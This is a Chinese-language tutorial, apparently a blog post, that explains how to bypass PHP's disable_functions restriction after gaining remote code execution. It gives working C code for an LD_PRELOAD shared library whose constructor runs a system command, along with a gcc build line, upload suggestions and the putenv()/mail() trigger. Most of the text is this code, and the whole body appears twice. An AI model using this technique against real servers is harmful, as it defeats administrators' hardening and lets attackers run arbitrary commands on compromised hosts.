编写一个用于绕过php disable_function的共享库文件
当你拿到php RCE,却发现system等函数被禁用了,你可以尝试使用此方法来绕过(基于putenv)。
在Linux中,有一个特殊的环境变量:LD_PRELAOD
,指向一个共享库.so
文件。
它会在每一个程序执行前被加载,当程序执行函数调用时会优先调用预加载的这个共享库库中的函数。
而php中类似mail()
这样的函数会调用系统指令,于是这就给了我们不使用系统函数执行指令的机会。
步骤如下。
编写一个用于预加载的库文件
这里还有一个trick:在C语言中,带有__attribute__((constructor))
标记的函数会在加载后被立即执行,无论是否被调用。
代码:
#include<stdlib.h>
__attribute__((constructor)) qwq(){
unsetenv ("LD_PRELOAD");
system ("echo 233");
}//记得unsetenv,不然会一直执行
你也可以找到一个php会调用的函数,然后做一个和它同名的函数,这样也可以在服务器调用同名函数时调用此函数。
编译:
gcc -shared new.c -o new.so
让服务器预加载此共享库
想办法把它扔上去,比如file_put_contents()
或者从你的VPS上下载。
然后使用php的putenv()
函数
putenv("LD_PRELOAD=/tmp/new.so")
就可以了。
执行一次系统调用
直接使用mail()
等函数,确保它会有系统调用即可。
error_log("a",1);mail("a@localhost","","","","");
至此,我们成功绕过了disable_function
的限制,执行了我们想要的指令。
参考文章:
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php
当你拿到php RCE,却发现system等函数被禁用了,你可以尝试使用此方法来绕过(基于putenv)。
在Linux中,有一个特殊的环境变量:LD_PRELAOD
,指向一个共享库.so
文件。
它会在每一个程序执行前被加载,当程序执行函数调用时会优先调用预加载的这个共享库库中的函数。
而php中类似mail()
这样的函数会调用系统指令,于是这就给了我们不使用系统函数执行指令的机会。
步骤如下。
编写一个用于预加载的库文件
这里还有一个trick:在C语言中,带有__attribute__((constructor))
标记的函数会在加载后被立即执行,无论是否被调用。
代码:
#include<stdlib.h>
__attribute__((constructor)) qwq(){
unsetenv ("LD_PRELOAD");
system ("echo 233");
}//记得unsetenv,不然会一直执行
你也可以找到一个php会调用的函数,然后做一个和它同名的函数,这样也可以在服务器调用同名函数时调用此函数。
编译:gcc -shared new.c -o new.so
让服务器预加载此共享库
想办法把它扔上去,比如file_put_contents()
或者从你的VPS上下载。
然后使用php的putenv()
函数
putenv("LD_PRELOAD=/tmp/new.so")
就可以了。
执行一次系统调用
直接使用mail()
等函数,确保它会有系统调用即可。
error_log("a",1);mail("a@localhost","","","","");
至此,我们成功绕过了disable_function
的限制,执行了我们想要的指令。
参考文章:
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php